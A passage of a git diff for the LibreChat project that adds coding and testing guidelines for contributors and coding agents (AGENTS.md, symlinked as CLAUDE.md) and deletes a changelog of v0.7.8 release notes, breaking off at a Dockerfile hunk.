+| `/packages/data-schemas` | TypeScript | Backend | `packages/data-provider` | Database models/schemas, shareable across backend projects |
+| `/packages/data-provider` | TypeScript | Shared | — | Shared API types, endpoints, data-service — used by both frontend and backend |
+| `/client` | TypeScript/React | Frontend | `packages/data-provider`, `packages/client` | Frontend SPA |
+| `/packages/client` | TypeScript | Frontend | `packages/data-provider` | Shared frontend utilities |
+
+The source code for `@librechat/agents` (major backend dependency, same team) is at `/home/danny/agentus`.
+
+---
+
+## Workspace Boundaries
+
+- **All new backend code must be TypeScript** in `/packages/api`.
+- Keep `/api` changes to the absolute minimum (thin JS wrappers calling into `/packages/api`).
+- Database-specific shared logic goes in `/packages/data-schemas`.
+- Frontend/backend shared API logic (endpoints, types, data-service) goes in `/packages/data-provider`.
+- Build data-provider from project root: `npm run build:data-provider`.
+
+---
+
+## Code Style
+
+### Structure and Clarity
+
+- **Never-nesting**: early returns, flat code, minimal indentation. Break complex operations into well-named helpers.
+- **Functional first**: pure functions, immutable data, `map`/`filter`/`reduce` over imperative loops. Only reach for OOP when it clearly improves domain modeling or state encapsulation.
+- **No dynamic imports** unless absolutely necessary.
+
+### DRY
+
+- Extract repeated logic into utility functions.
+- Reusable hooks / higher-order components for UI patterns.
+- Parameterized helpers instead of near-duplicate functions.
+- Constants for repeated values; configuration objects over duplicated init code.
+- Shared validators, centralized error handling, single source of truth for business rules.
+- Shared typing system with interfaces/types extending common base definitions.
+- Abstraction layers for external API interactions.
+
+### Iteration and Performance
+
+- **Minimize looping** — especially over shared data structures like message arrays, which are iterated frequently throughout the codebase. Every additional pass adds up at scale.
+- Consolidate sequential O(n) operations into a single pass whenever possible; never loop over the same collection twice if the work can be combined.
+- Choose data structures that reduce the need to iterate (e.g., `Map`/`Set` for lookups instead of `Array.find`/`Array.includes`).
+- Avoid unnecessary object creation; consider space-time tradeoffs.
+- Prevent memory leaks: careful with closures, dispose resources/event listeners, no circular references.
+
+### Type Safety
+
+- **Never use `any`**. Explicit types for all parameters, return values, and variables.
+- **Limit `unknown`** — avoid `unknown`, `Record`, and `as unknown as T` assertions. A `Record` almost always signals a missing explicit type definition.
+- **Don't duplicate types** — before defining a new type, check whether it already exists in the project (especially `packages/data-provider`). Reuse and extend existing types rather than creating redundant definitions.
+- Use union types, generics, and interfaces appropriately.
+- All TypeScript and ESLint warnings/errors must be addressed — do not leave unresolved diagnostics.
+
+### Comments and Documentation
+
+- Write self-documenting code; no inline comments narrating what code does.
+- JSDoc only for complex/non-obvious logic or intellisense on public APIs.
+- Single-line JSDoc for brief docs, multi-line for complex cases.
+- Avoid standalone `//` comments unless absolutely necessary.
+
+### Import Order
+
+Imports are organized into three sections:
+
+1. **Package imports** — sorted shortest to longest line length (`react` always first).
+2. **`import type` imports** — sorted longest to shortest (package types first, then local types; length resets between sub-groups).
+3. **Local/project imports** — sorted longest to shortest.
+
+Multi-line imports count total character length across all lines. Consolidate value imports from the same module. Always use standalone `import type { ... }` — never inline `type` inside value imports.
+
+### JS/TS Loop Preferences
+
+- **Limit looping as much as possible.** Prefer single-pass transformations and avoid re-iterating the same data.
+- `for (let i = 0; ...)` for performance-critical or index-dependent operations.
+- `for...of` for simple array iteration.
+- `for...in` only for object property enumeration.
+
+---
+
+## Frontend Rules (`client/src/**/*`)
+
+### Localization
+
+- All user-facing text must use `useLocalize()`.
+- Only update English keys in `client/src/locales/en/translation.json` (other languages are automated externally).
+- Semantic key prefixes: `com_ui_`, `com_assistants_`, etc.
+
+### Components
+
+- TypeScript for all React components with proper type imports.
+- Semantic HTML with ARIA labels (`role`, `aria-label`) for accessibility.
+- Group related components in feature directories (e.g., `SidePanel/Memories/`).
+- Use index files for clean exports.
+
+### Data Management
+
+- Feature hooks: `client/src/data-provider/[Feature]/queries.ts` → `[Feature]/index.ts` → `client/src/data-provider/index.ts`.
+- React Query (`@tanstack/react-query`) for all API interactions; proper query invalidation on mutations.
+- QueryKeys and MutationKeys in `packages/data-provider/src/keys.ts`.
+
+### Data-Provider Integration
+
+- Endpoints: `packages/data-provider/src/api-endpoints.ts`
+- Data service: `packages/data-provider/src/data-service.ts`
+- Types: `packages/data-provider/src/types/queries.ts`
+- Use `encodeURIComponent` for dynamic URL parameters.
+
+### Performance
+
+- Prioritize memory and speed efficiency at scale.
+- Cursor pagination for large datasets.
+- Proper dependency arrays to avoid unnecessary re-renders.
+- Leverage React Query caching and background refetching.
+
+---
+
+## Development Commands
+
+| Command | Purpose |
+|---|---|
+| `npm run smart-reinstall` | Install deps (if lockfile changed) + build via Turborepo |
+| `npm run reinstall` | Clean install — wipe `node_modules` and reinstall from scratch |
+| `npm run backend` | Start the backend server |
+| `npm run backend:dev` | Start backend with file watching (development) |
+| `npm run build` | Build all compiled code via Turborepo (parallel, cached) |
+| `npm run frontend` | Build all compiled code sequentially (legacy fallback) |
+| `npm run frontend:dev` | Start frontend dev server with HMR (port 3090, requires backend running) |
+| `npm run build:data-provider` | Rebuild `packages/data-provider` after changes |
+
+- Node.js: v20.19.0+ or ^22.12.0 or >= 23.0.0
+- Database: MongoDB
+- Backend runs on `http://localhost:3080/`; frontend dev server on `http://localhost:3090/`
+
+---
+
+## Testing
+
+- Framework: **Jest**, run per-workspace.
+- Run tests from their workspace directory: `cd api && npx jest `, `cd packages/api && npx jest `, etc.
+- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
+- Cover loading, success, and error states for UI/data flows.
+
+### Philosophy
+
+- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort.
+- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic.
+- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls.
+- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals.
+- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls.
+- Heavy mocking is a code smell, not a testing strategy.
+
+---
+
+## Formatting
+
+Fix all formatting lint errors (trailing spaces, tabs, newlines, indentation) using auto-fix when available. All TypeScript/ESLint warnings and errors **must** be resolved.
diff --git a/CHANGELOG.md b/CHANGELOG.md
deleted file mode 100644
index a8cb8282bd..0000000000
--- a/CHANGELOG.md
+++ /dev/null
@@ -1,236 +0,0 @@
-# Changelog
-
-All notable changes to this project will be documented in this file.
-
-
-
-
-
-
-## [Unreleased]
-
-### ✨ New Features
-
-- ✨ feat: implement search parameter updates by **@mawburn** in [#7151](https://github.com/danny-avila/LibreChat/pull/7151)
-- 🎏 feat: Add MCP support for Streamable HTTP Transport by **@benverhees** in [#7353](https://github.com/danny-avila/LibreChat/pull/7353)
-- 🔒 feat: Add Content Security Policy using Helmet middleware by **@rubentalstra** in [#7377](https://github.com/danny-avila/LibreChat/pull/7377)
-- ✨ feat: Add Normalization for MCP Server Names by **@danny-avila** in [#7421](https://github.com/danny-avila/LibreChat/pull/7421)
-- 📊 feat: Improve Helm Chart by **@hofq** in [#3638](https://github.com/danny-avila/LibreChat/pull/3638)
-- 🦾 feat: Claude-4 Support by **@danny-avila** in [#7509](https://github.com/danny-avila/LibreChat/pull/7509)
-- 🪨 feat: Bedrock Support for Claude-4 Reasoning by **@danny-avila** in [#7517](https://github.com/danny-avila/LibreChat/pull/7517)
-
-### 🌍 Internationalization
-
-- 🌍 i18n: Add `Danish` and `Czech` and `Catalan` localization support by **@rubentalstra** in [#7373](https://github.com/danny-avila/LibreChat/pull/7373)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7375](https://github.com/danny-avila/LibreChat/pull/7375)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7468](https://github.com/danny-avila/LibreChat/pull/7468)
-
-### 🔧 Fixes
-
-- 💬 fix: update aria-label for accessibility in ConvoLink component by **@berry-13** in [#7320](https://github.com/danny-avila/LibreChat/pull/7320)
-- 🔑 fix: use `apiKey` instead of `openAIApiKey` in OpenAI-like Config by **@danny-avila** in [#7337](https://github.com/danny-avila/LibreChat/pull/7337)
-- 🔄 fix: update navigation logic in `useFocusChatEffect` to ensure correct search parameters are used by **@mawburn** in [#7340](https://github.com/danny-avila/LibreChat/pull/7340)
-- 🔄 fix: Improve MCP Connection Cleanup by **@danny-avila** in [#7400](https://github.com/danny-avila/LibreChat/pull/7400)
-- 🛡️ fix: Preset and Validation Logic for URL Query Params by **@danny-avila** in [#7407](https://github.com/danny-avila/LibreChat/pull/7407)
-- 🌘 fix: artifact of preview text is illegible in dark mode by **@nhtruong** in [#7405](https://github.com/danny-avila/LibreChat/pull/7405)
-- 🛡️ fix: Temporarily Remove CSP until Configurable by **@danny-avila** in [#7419](https://github.com/danny-avila/LibreChat/pull/7419)
-- 💽 fix: Exclude index page `/` from static cache settings by **@sbruel** in [#7382](https://github.com/danny-avila/LibreChat/pull/7382)
-
-### ⚙️ Other Changes
-
-- 📜 docs: CHANGELOG for release v0.7.8 by **@github-actions[bot]** in [#7290](https://github.com/danny-avila/LibreChat/pull/7290)
-- 📦 chore: Update API Package Dependencies by **@danny-avila** in [#7359](https://github.com/danny-avila/LibreChat/pull/7359)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7321](https://github.com/danny-avila/LibreChat/pull/7321)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7434](https://github.com/danny-avila/LibreChat/pull/7434)
-- 🛡️ chore: `multer` v2.0.0 for CVE-2025-47935 and CVE-2025-47944 by **@danny-avila** in [#7454](https://github.com/danny-avila/LibreChat/pull/7454)
-- 📂 refactor: Improve `FileAttachment` & File Form Deletion by **@danny-avila** in [#7471](https://github.com/danny-avila/LibreChat/pull/7471)
-- 📊 chore: Remove Old Helm Chart by **@hofq** in [#7512](https://github.com/danny-avila/LibreChat/pull/7512)
-- 🪖 chore: bump helm app version to v0.7.8 by **@austin-barrington** in [#7524](https://github.com/danny-avila/LibreChat/pull/7524)
-
-
-
----
-## [v0.7.8] -
-
-Changes from v0.7.8-rc1 to v0.7.8.
-
-### ✨ New Features
-
-- ✨ feat: Enhance form submission for touch screens by **@berry-13** in [#7198](https://github.com/danny-avila/LibreChat/pull/7198)
-- 🔍 feat: Additional Tavily API Tool Parameters by **@glowforge-opensource** in [#7232](https://github.com/danny-avila/LibreChat/pull/7232)
-- 🐋 feat: Add python to Dockerfile for increased MCP compatibility by **@technicalpickles** in [#7270](https://github.com/danny-avila/LibreChat/pull/7270)
-
-### 🔧 Fixes
-
-- 🔧 fix: Google Gemma Support & OpenAI Reasoning Instructions by **@danny-avila** in [#7196](https://github.com/danny-avila/LibreChat/pull/7196)
-- 🛠️ fix: Conversation Navigation State by **@danny-avila** in [#7210](https://github.com/danny-avila/LibreChat/pull/7210)
-- 🔄 fix: o-Series Model Regex for System Messages by **@danny-avila** in [#7245](https://github.com/danny-avila/LibreChat/pull/7245)
-- 🔖 fix: Custom Headers for Initial MCP SSE Connection by **@danny-avila** in [#7246](https://github.com/danny-avila/LibreChat/pull/7246)
-- 🛡️ fix: Deep Clone `MCPOptions` for User MCP Connections by **@danny-avila** in [#7247](https://github.com/danny-avila/LibreChat/pull/7247)
-- 🔄 fix: URL Param Race Condition and File Draft Persistence by **@danny-avila** in [#7257](https://github.com/danny-avila/LibreChat/pull/7257)
-- 🔄 fix: Assistants Endpoint & Minor Issues by **@danny-avila** in [#7274](https://github.com/danny-avila/LibreChat/pull/7274)
-- 🔄 fix: Ollama Think Tag Edge Case with Tools by **@danny-avila** in [#7275](https://github.com/danny-avila/LibreChat/pull/7275)
-
-### ⚙️ Other Changes
-
-- 📜 docs: CHANGELOG for release v0.7.8-rc1 by **@github-actions[bot]** in [#7153](https://github.com/danny-avila/LibreChat/pull/7153)
-- 🔄 refactor: Artifact Visibility Management by **@danny-avila** in [#7181](https://github.com/danny-avila/LibreChat/pull/7181)
-- 📦 chore: Bump Package Security by **@danny-avila** in [#7183](https://github.com/danny-avila/LibreChat/pull/7183)
-- 🌿 refactor: Unmount Fork Popover on Hide for Better Performance by **@danny-avila** in [#7189](https://github.com/danny-avila/LibreChat/pull/7189)
-- 🧰 chore: ESLint configuration to enforce Prettier formatting rules by **@mawburn** in [#7186](https://github.com/danny-avila/LibreChat/pull/7186)
-- 🎨 style: Improve KaTeX Rendering for LaTeX Equations by **@andresgit** in [#7223](https://github.com/danny-avila/LibreChat/pull/7223)
-- 📝 docs: Update `.env.example` Google models by **@marlonka** in [#7254](https://github.com/danny-avila/LibreChat/pull/7254)
-- 💬 refactor: MCP Chat Visibility Option, Google Rates, Remove OpenAPI Plugins by **@danny-avila** in [#7286](https://github.com/danny-avila/LibreChat/pull/7286)
-- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7214](https://github.com/danny-avila/LibreChat/pull/7214)
-
-
-
-[See full release details][release-v0.7.8]
-
-[release-v0.7.8]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8
-
----
-## [v0.7.8-rc1] -
-
-Changes from v0.7.7 to v0.7.8-rc1.
-
-### ✨ New Features
-
-- 🔍 feat: Mistral OCR API / Upload Files as Text by **@danny-avila** in [#6274](https://github.com/danny-avila/LibreChat/pull/6274)
-- 🤖 feat: Support OpenAI Web Search models by **@danny-avila** in [#6313](https://github.com/danny-avila/LibreChat/pull/6313)
-- 🔗 feat: Agent Chain (Mixture-of-Agents) by **@danny-avila** in [#6374](https://github.com/danny-avila/LibreChat/pull/6374)
-- ⌛ feat: `initTimeout` for Slow Starting MCP Servers by **@perweij** in [#6383](https://github.com/danny-avila/LibreChat/pull/6383)
-- 🚀 feat: `S3` Integration for File handling and Image uploads by **@rubentalstra** in [#6142](https://github.com/danny-avila/LibreChat/pull/6142)
-- 🔒feat: Enable OpenID Auto-Redirect by **@leondape** in [#6066](https://github.com/danny-avila/LibreChat/pull/6066)
-- 🚀 feat: Integrate `Azure Blob Storage` for file handling and image uploads by **@rubentalstra** in [#6153](https://github.com/danny-avila/LibreChat/pull/6153)
-- 🚀 feat: Add support for custom `AWS` endpoint in `S3` by **@rubentalstra** in [#6431](https://github.com/danny-avila/LibreChat/pull/6431)
-- 🚀 feat: Add support for LDAP STARTTLS in LDAP authentication by **@rubentalstra** in [#6438](https://github.com/danny-avila/LibreChat/pull/6438)
-- 🚀 feat: Refactor schema exports and update package version to 0.0.4 by **@rubentalstra** in [#6455](https://github.com/danny-avila/LibreChat/pull/6455)
-- 🔼 feat: Add Auto Submit For URL Query Params by **@mjaverto** in [#6440](https://github.com/danny-avila/LibreChat/pull/6440)
-- 🛠 feat: Enhance Redis Integration, Rate Limiters & Log Headers by **@danny-avila** in [#6462](https://github.com/danny-avila/LibreChat/pull/6462)
-- 💵 feat: Add Automatic Balance Refill by **@rubentalstra** in [#6452](https://github.com/danny-avila/LibreChat/pull/6452)
-- 🗣️ feat: add support for gpt-4o-transcribe models by **@berry-13** in [#6483](https://github.com/danny-avila/LibreChat/pull/6483)
-- 🎨 feat: UI Refresh for Enhanced UX by **@berry-13** in [#6346](https://github.com/danny-avila/LibreChat/pull/6346)
-- 🌍 feat: Add support for Hungarian language localization by **@rubentalstra** in [#6508](https://github.com/danny-avila/LibreChat/pull/6508)
-- 🚀 feat: Add Gemini 2.5 Token/Context Values, Increase Max Possible Output to 64k by **@danny-avila** in [#6563](https://github.com/danny-avila/LibreChat/pull/6563)
-- 🚀 feat: Enhance MCP Connections For Multi-User Support by **@danny-avila** in [#6610](https://github.com/danny-avila/LibreChat/pull/6610)
-- 🚀 feat: Enhance S3 URL Expiry with Refresh; fix: S3 File Deletion by **@danny-avila** in [#6647](https://github.com/danny-avila/LibreChat/pull/6647)
-- 🚀 feat: enhance UI components and refactor settings by **@berry-13** in [#6625](https://github.com/danny-avila/LibreChat/pull/6625)
-- 💬 feat: move TemporaryChat to the Header by **@berry-13** in [#6646](https://github.com/danny-avila/LibreChat/pull/6646)
-- 🚀 feat: Use Model Specs + Specific Endpoints, Limit Providers for Agents by **@danny-avila** in [#6650](https://github.com/danny-avila/LibreChat/pull/6650)
-- 🪙 feat: Sync Balance Config on Login by **@danny-avila** in [#6671](https://github.com/danny-avila/LibreChat/pull/6671)
-- 🔦 feat: MCP Support for Non-Agent Endpoints by **@danny-avila** in [#6775](https://github.com/danny-avila/LibreChat/pull/6775)
-- 🗃️ feat: Code Interpreter File Persistence between Sessions by **@danny-avila** in [#6790](https://github.com/danny-avila/LibreChat/pull/6790)
-- 🖥️ feat: Code Interpreter API for Non-Agent Endpoints by **@danny-avila** in [#6803](https://github.com/danny-avila/LibreChat/pull/6803)
-- ⚡ feat: Self-hosted Artifacts Static Bundler URL by **@danny-avila** in [#6827](https://github.com/danny-avila/LibreChat/pull/6827)
-- 🐳 feat: Add Jemalloc and UV to Docker Builds by **@danny-avila** in [#6836](https://github.com/danny-avila/LibreChat/pull/6836)
-- 🤖 feat: GPT-4.1 by **@danny-avila** in [#6880](https://github.com/danny-avila/LibreChat/pull/6880)
-- 👋 feat: remove Edge TTS by **@berry-13** in [#6885](https://github.com/danny-avila/LibreChat/pull/6885)
-- feat: nav optimization by **@berry-13** in [#5785](https://github.com/danny-avila/LibreChat/pull/5785)
-- 🗺️ feat: Add Parameter Location Mapping for OpenAPI actions by **@peeeteeer** in [#6858](https://github.com/danny-avila/LibreChat/pull/6858)
-- 🤖 feat: Support `o4-mini` and `o3` Models by **@danny-avila** in [#6928](https://github.com/danny-avila/LibreChat/pull/6928)
-- 🎨 feat: OpenAI Image Tools (GPT-Image-1) by **@danny-avila** in [#7079](https://github.com/danny-avila/LibreChat/pull/7079)
-- 🗓️ feat: Add Special Variables for Prompts & Agents, Prompt UI Improvements by **@danny-avila** in [#7123](https://github.com/danny-avila/LibreChat/pull/7123)
-
-### 🌍 Internationalization
-
-- 🌍 i18n: Add Thai Language Support and Update Translations by **@rubentalstra** in [#6219](https://github.com/danny-avila/LibreChat/pull/6219)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6220](https://github.com/danny-avila/LibreChat/pull/6220)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6240](https://github.com/danny-avila/LibreChat/pull/6240)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6241](https://github.com/danny-avila/LibreChat/pull/6241)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6277](https://github.com/danny-avila/LibreChat/pull/6277)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6414](https://github.com/danny-avila/LibreChat/pull/6414)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6505](https://github.com/danny-avila/LibreChat/pull/6505)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6530](https://github.com/danny-avila/LibreChat/pull/6530)
-- 🌍 i18n: Add Persian Localization Support by **@rubentalstra** in [#6669](https://github.com/danny-avila/LibreChat/pull/6669)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6667](https://github.com/danny-avila/LibreChat/pull/6667)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7126](https://github.com/danny-avila/LibreChat/pull/7126)
-- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7148](https://github.com/danny-avila/LibreChat/pull/7148)
-
-### 👐 Accessibility
-
-- 🎨 a11y: Update Model Spec Description Text by **@berry-13** in [#6294](https://github.com/danny-avila/LibreChat/pull/6294)
-- 🗑️ a11y: Add Accessible Name to Button for File Attachment Removal by **@kangabell** in [#6709](https://github.com/danny-avila/LibreChat/pull/6709)
-- ⌨️ a11y: enhance accessibility & visual consistency by **@berry-13** in [#6866](https://github.com/danny-avila/LibreChat/pull/6866)
-- 🙌 a11y: Searchbar/Conversations List Focus by **@danny-avila** in [#7096](https://github.com/danny-avila/LibreChat/pull/7096)
-- 👐 a11y: Improve Fork and SplitText Accessibility by **@danny-avila** in [#7147](https://github.com/danny-avila/LibreChat/pull/7147)
-
-### 🔧 Fixes
-
-- 🐛 fix: Avatar Type Definitions in Agent/Assistant Schemas by **@danny-avila** in [#6235](https://github.com/danny-avila/LibreChat/pull/6235)
-- 🔧 fix: MeiliSearch Field Error and Patch Incorrect Import by #6210 by **@rubentalstra** in [#6245](https://github.com/danny-avila/LibreChat/pull/6245)
-- 🔏 fix: Enhance Two-Factor Authentication by **@rubentalstra** in [#6247](https://github.com/danny-avila/LibreChat/pull/6247)
-- 🐛 fix: Await saveMessage in abortMiddleware to ensure proper execution by **@sh4shii** in [#6248](https://github.com/danny-avila/LibreChat/pull/6248)
-- 🔧 fix: Axios Proxy Usage And Bump `mongoose` by **@danny-avila** in [#6298](https://github.com/danny-avila/LibreChat/pull/6298)
-- 🔧 fix: comment out MCP servers to resolve service run issues by **@KunalScriptz** in [#6316](https://github.com/danny-avila/LibreChat/pull/6316)
-- 🔧 fix: Update Token Calculations and Mapping, MCP `env` Initialization by **@danny-avila** in [#6406](https://github.com/danny-avila/LibreChat/pull/6406)
-- 🐞 fix: Agent "Resend" Message Attachments + Source Icon Styling by **@danny-avila** in [#6408](https://github.com/danny-avila/LibreChat/pull/6408)
-- 🐛 fix: Prevent Crash on Duplicate Message ID by **@Odrec** in [#6392](https://github.com/danny-avila/LibreChat/pull/6392)
-- 🔐 fix: Invalid Key Length in 2FA Encryption by **@rubentalstra** in [#6432](https://github.com/danny-avila/LibreChat/pull/6432)
-- 🏗️ fix: Fix Agents Token Spend Race Conditions, Expand Test Coverage by **@danny-avila** in [#6480](https://github.com/danny-avila/LibreChat/pull/6480)
-- 🔃 fix: Draft Clearing, Claude Titles, Remove Default Vision Max Tokens by **@danny-avila** in [#6501](https://github.com/danny-avila/LibreChat/pull/6501)
-- 🔧 fix: Update username reference to use user.name in greeting display by **@rubentalstra** in [#6534](https://github.com/danny-avila/LibreChat/pull/6534)
-- 🔧 fix: S3 Download Stream with Key Extraction and Blob Storage Encoding for Vision by **@danny-avila** in [#6557](https://github.com/danny-avila/LibreChat/pull/6557)
-- 🔧 fix: Mistral type strictness for `usage` & update token values/windows by **@danny-avila** in [#6562](https://github.com/danny-avila/LibreChat/pull/6562)
-- 🔧 fix: Consolidate Text Parsing and TTS Edge Initialization by **@danny-avila** in [#6582](https://github.com/danny-avila/LibreChat/pull/6582)
-- 🔧 fix: Ensure continuation in image processing on base64 encoding from Blob Storage by **@danny-avila** in [#6619](https://github.com/danny-avila/LibreChat/pull/6619)
-- ✉️ fix: Fallback For User Name In Email Templates by **@danny-avila** in [#6620](https://github.com/danny-avila/LibreChat/pull/6620)
-- 🔧 fix: Azure Blob Integration and File Source References by **@rubentalstra** in [#6575](https://github.com/danny-avila/LibreChat/pull/6575)
-- 🐛 fix: Safeguard against undefined addedEndpoints by **@wipash** in [#6654](https://github.com/danny-avila/LibreChat/pull/6654)
-- 🤖 fix: Gemini 2.5 Vision Support by **@danny-avila** in [#6663](https://github.com/danny-avila/LibreChat/pull/6663)
-- 🔄 fix: Avatar & Error Handling Enhancements by **@danny-avila** in [#6687](https://github.com/danny-avila/LibreChat/pull/6687)
-- 🔧 fix: Chat Middleware, Zod Conversion, Auto-Save and S3 URL Refresh by **@danny-avila** in [#6720](https://github.com/danny-avila/LibreChat/pull/6720)
-- 🔧 fix: Agent Capability Checks & DocumentDB Compatibility for Agent Resource Removal by **@danny-avila** in [#6726](https://github.com/danny-avila/LibreChat/pull/6726)
-- 🔄 fix: Improve audio MIME type detection and handling by **@berry-13** in [#6707](https://github.com/danny-avila/LibreChat/pull/6707)
-- 🪺 fix: Update Role Handling due to New Schema Shape by **@danny-avila** in [#6774](https://github.com/danny-avila/LibreChat/pull/6774)
-- 🗨️ fix: Show ModelSpec Greeting by **@berry-13** in [#6770](https://github.com/danny-avila/LibreChat/pull/6770)
-- 🔧 fix: Keyv and Proxy Issues, and More Memory Optimizations by **@danny-avila** in [#6867](https://github.com/danny-avila/LibreChat/pull/6867)
-- ✨ fix: Implement dynamic text sizing for greeting and name display by **@berry-13** in [#6833](https://github.com/danny-avila/LibreChat/pull/6833)
-- 📝 fix: Mistral OCR Image Support and Azure Agent Titles by **@danny-avila** in [#6901](https://github.com/danny-avila/LibreChat/pull/6901)
-- 📢 fix: Invalid `engineTTS` and Conversation State on Navigation by **@berry-13** in [#6904](https://github.com/danny-avila/LibreChat/pull/6904)
-- 🛠️ fix: Improve Accessibility and Display of Conversation Menu by **@danny-avila** in [#6913](https://github.com/danny-avila/LibreChat/pull/6913)
-- 🔧 fix: Agent Resource Form, Convo Menu Style, Ensure Draft Clears on Submission by **@danny-avila** in [#6925](https://github.com/danny-avila/LibreChat/pull/6925)
-- 🔀 fix: MCP Improvements, Auto-Save Drafts, Artifact Markup by **@danny-avila** in [#7040](https://github.com/danny-avila/LibreChat/pull/7040)
-- 🐋 fix: Improve Deepseek Compatbility by **@danny-avila** in [#7132](https://github.com/danny-avila/LibreChat/pull/7132)
-- 🐙 fix: Add Redis Ping Interval to Prevent Connection Drops by **@peeeteeer** in [#7127](https://github.com/danny-avila/LibreChat/pull/7127)
-
-### ⚙️ Other Changes
-
-- 📦 refactor: Move DB Models to `@librechat/data-schemas` by **@rubentalstra** in [#6210](https://github.com/danny-avila/LibreChat/pull/6210)
-- 📦 chore: Patch `axios` to address CVE-2025-27152 by **@danny-avila** in [#6222](https://github.com/danny-avila/LibreChat/pull/6222)
-- ⚠️ refactor: Use Error Content Part Instead Of Throwing Error for Agents by **@danny-avila** in [#6262](https://github.com/danny-avila/LibreChat/pull/6262)
-- 🏃♂️ refactor: Improve Agent Run Context & Misc. Changes by **@danny-avila** in [#6448](https://github.com/danny-avila/LibreChat/pull/6448)
-- 📝 docs: librechat.example.yaml by **@ineiti** in [#6442](https://github.com/danny-avila/LibreChat/pull/6442)
-- 🏃♂️ refactor: More Agent Context Improvements during Run by **@danny-avila** in [#6477](https://github.com/danny-avila/LibreChat/pull/6477)
-- 🔃 refactor: Allow streaming for `o1` models by **@danny-avila** in [#6509](https://github.com/danny-avila/LibreChat/pull/6509)
-- 🔧 chore: `Vite` Plugin Upgrades & Config Optimizations by **@rubentalstra** in [#6547](https://github.com/danny-avila/LibreChat/pull/6547)
-- 🔧 refactor: Consolidate Logging, Model Selection & Actions Optimizations, Minor Fixes by **@danny-avila** in [#6553](https://github.com/danny-avila/LibreChat/pull/6553)
-- 🎨 style: Address Minor UI Refresh Issues by **@berry-13** in [#6552](https://github.com/danny-avila/LibreChat/pull/6552)
-- 🔧 refactor: Enhance Model & Endpoint Configurations with Global Indicators 🌍 by **@berry-13** in [#6578](https://github.com/danny-avila/LibreChat/pull/6578)
-- 💬 style: Chat UI, Greeting, and Message adjustments by **@berry-13** in [#6612](https://github.com/danny-avila/LibreChat/pull/6612)
-- ⚡ refactor: DocumentDB Compatibility for Balance Updates by **@danny-avila** in [#6673](https://github.com/danny-avila/LibreChat/pull/6673)
-- 🧹 chore: Update ESLint rules for React hooks by **@rubentalstra** in [#6685](https://github.com/danny-avila/LibreChat/pull/6685)
-- 🪙 chore: Update Gemini Pricing by **@RedwindA** in [#6731](https://github.com/danny-avila/LibreChat/pull/6731)
-- 🪺 refactor: Nest Permission fields for Roles by **@rubentalstra** in [#6487](https://github.com/danny-avila/LibreChat/pull/6487)
-- 📦 chore: Update `caniuse-lite` dependency to version 1.0.30001706 by **@rubentalstra** in [#6482](https://github.com/danny-avila/LibreChat/pull/6482)
-- ⚙️ refactor: OAuth Flow Signal, Type Safety, Tool Progress & Updated Packages by **@danny-avila** in [#6752](https://github.com/danny-avila/LibreChat/pull/6752)
-- 📦 chore: bump vite from 6.2.3 to 6.2.5 by **@dependabot[bot]** in [#6745](https://github.com/danny-avila/LibreChat/pull/6745)
-- 💾 chore: Enhance Local Storage Handling and Update MCP SDK by **@danny-avila** in [#6809](https://github.com/danny-avila/LibreChat/pull/6809)
-- 🤖 refactor: Improve Agents Memory Usage, Bump Keyv, Grok 3 by **@danny-avila** in [#6850](https://github.com/danny-avila/LibreChat/pull/6850)
-- 💾 refactor: Enhance Memory In Image Encodings & Client Disposal by **@danny-avila** in [#6852](https://github.com/danny-avila/LibreChat/pull/6852)
-- 🔁 refactor: Token Event Handler and Standardize `maxTokens` Key by **@danny-avila** in [#6886](https://github.com/danny-avila/LibreChat/pull/6886)
-- 🔍 refactor: Search & Message Retrieval by **@berry-13** in [#6903](https://github.com/danny-avila/LibreChat/pull/6903)
-- 🎨 style: standardize dropdown styling & fix z-Index layering by **@berry-13** in [#6939](https://github.com/danny-avila/LibreChat/pull/6939)
-- 📙 docs: CONTRIBUTING.md by **@dblock** in [#6831](https://github.com/danny-avila/LibreChat/pull/6831)
-- 🧭 refactor: Modernize Nav/Header by **@danny-avila** in [#7094](https://github.com/danny-avila/LibreChat/pull/7094)
-- 🪶 refactor: Chat Input Focus for Conversation Navigations & ChatForm Optimizations by **@danny-avila** in [#7100](https://github.com/danny-avila/LibreChat/pull/7100)
-- 🔃 refactor: Streamline Navigation, Message Loading UX by **@danny-avila** in [#7118](https://github.com/danny-avila/LibreChat/pull/7118)
-- 📜 docs: Unreleased changelog by **@github-actions[bot]** in [#6265](https://github.com/danny-avila/LibreChat/pull/6265)
-
-
-
-[See full release details][release-v0.7.8-rc1]
-
-[release-v0.7.8-rc1]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8-rc1
-
----
diff --git a/CLAUDE.md b/CLAUDE.md
new file mode 120000
index 0000000000..47dc3e3d86
--- /dev/null
+++ b/CLAUDE.md
@@ -0,0 +1 @@
+AGENTS.md
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
index 38273bc5eb..bbff8133da 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
